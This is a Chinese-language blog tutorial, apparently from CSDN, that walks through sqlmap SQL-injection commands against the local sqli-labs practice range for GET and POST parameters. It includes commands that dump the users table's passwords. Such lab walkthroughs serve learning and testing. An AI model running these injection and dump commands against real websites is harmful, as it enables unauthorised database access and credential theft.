前言:
使用kali 系统中自带的sqlmap,无需安装,非常方便,命令行输入 sqlmap 可以查看sqlmap信息
正文中会把所有常用的命令先列举出来,如果只是不熟悉命令格式的朋友可以节约时间只看前面的部分,也可以用目录跳转到对应的内容,如果想了解工具的使用效果后面会有注入过程的详细演示
GET型注入演示环境选择sqli-labs 第5关,因为前四关是简单的联合查询,简单的联合查询注入不太需要工具帮助,第五关稍微复杂一点,所以选择第五关,不过运行出结果的时间也会比较长,需要一点点耐心
我这里是在kali中运行的sqlmap,而sqli-labs靶场是在本地windows中的,我在本机的访问路径是http://127.0.0.1/sqli/Less-5/ 在kali中访问127.0.0.1是没有这个靶场环境的,需要更换一下ip
我的kali是NAT模式,用的是VMnet8 虚拟网卡 网关是192.168.37.1,所以把127.0.0.1换成192.168.37.1 即可访问
进入正题,下面主要从GET传参和POST传参 两个方面列举常用的sqlmap自动注入命令
GET传参注入
基本的SQL注入检测,可以检测注入点以及可注入类型
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch
-–batch(不再询问,默认执行,如果不加这个参数中途会弹出很多问题妨碍注入)
查看所有数据库 --dbs
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --dbs
查看当前使用的数据库 --current-db
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --current-db
查看表名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" -D security --tables --batch
-D 指定数据库 –-tables 列举所有表
查看表中的字段
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" -D security -T users --columns --batch
-T 指定表 -–columns 列举所有列名
查看字段中的数据
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C password --dump
-C 指定列名 -–dump 列举当前列所有内容
查询多个字段 -C 后面可以指定多个参数来查询多个字段,可以用双引号包围,不加也不会报错
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C id,password --dump
注意:
url后面只有参数名这种格式是不对的,例如 http://192.168.37.1/sqli/Less-5/?id 会报错
正常的格式就是注入页面的url加上参数名和值 例如http://192.168.37.1/sqli/Less-5/?id=1
不加后面的数字例如 ?id= 也是可以的,不会报错
演示:
使用sqlmap -u 命令可以得到一些基本信息,例如注入的参数名,可以注入的类型,数据库版本等
查看所有数据库名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --dbs
查看当前数据库名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --current-db
查看表名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security --tables
查看字段名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users --columns
查看字段数据
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C password --dump
POST传参注入
POST请求的参数不会在url中显示,多存在于有登录框的页面中,因此GET传参的注入命令不适用于POST传参,下面提供两种方式:
演示环境为sqli-labs 第15关,页面是登录框,是post传参
方式一: 抓包注入页面并保存文件,使用抓包文件进行注入(最准确)
使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的
查看所有数据库
sqlmap -r "/root/less-15.txt" --batch -p uname --dbs
-r 指定文件路径,从指定文件中读取HTTP请求
-p 指定参数名 不加p参数会自动检测注入点,也可以得到结果,指定注入参数名的话执行速度更快
查看当前数据库
sqlmap -r "/root/less-15.txt" --batch -p uname --current-db
查表
sqlmap -r "/root/less-15.txt" --batch -p uname -D security --tables
查字段
sqlmap -r "/root/less-15.txt" --batch -p uname -D security -T users --columns
查数据
sqlmap -r "/root/less-15.txt" --batch -p uname -D security -T users -C password --dump
执行命令的结果和上面的get传参是一样的,这里就演示一下保存抓包文件
抓包页面如上图,然后鼠标右键 copy to file 保存即可
方式二: 使用--data
参数指定HTTP POST请求的数据
sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1"
sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" --dbs
sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security --tables
sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security -T users --columns
....
后续的操作和前面的命令一样,只是增加了data参数去指定post请求中要注入的参数
不过这种方式不如第一种稳定,例如当查询users表中的字段数据时,无法获取到数据,还不知道是什么原因造成的,猜测是WAF拦截了?还请了解的大佬们指点一下
sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security -T users -C "username" --dump
所以遇到POST型的SQL注入时,推荐使用抓包文件的方式去注入,稳定且准确
sqlmap终究只是一款工具,可以方便和简化一些操作,但是不能完全代替大脑思考,还是要理解注入原理和能够找到注入点的能力,不然工具也无法发挥它的强大作用
标签:sqlmap,教程,Less,--,192.168,sqli,37.1,POST From: https://blog.csdn.net/weixin_73904941/article/details/143220574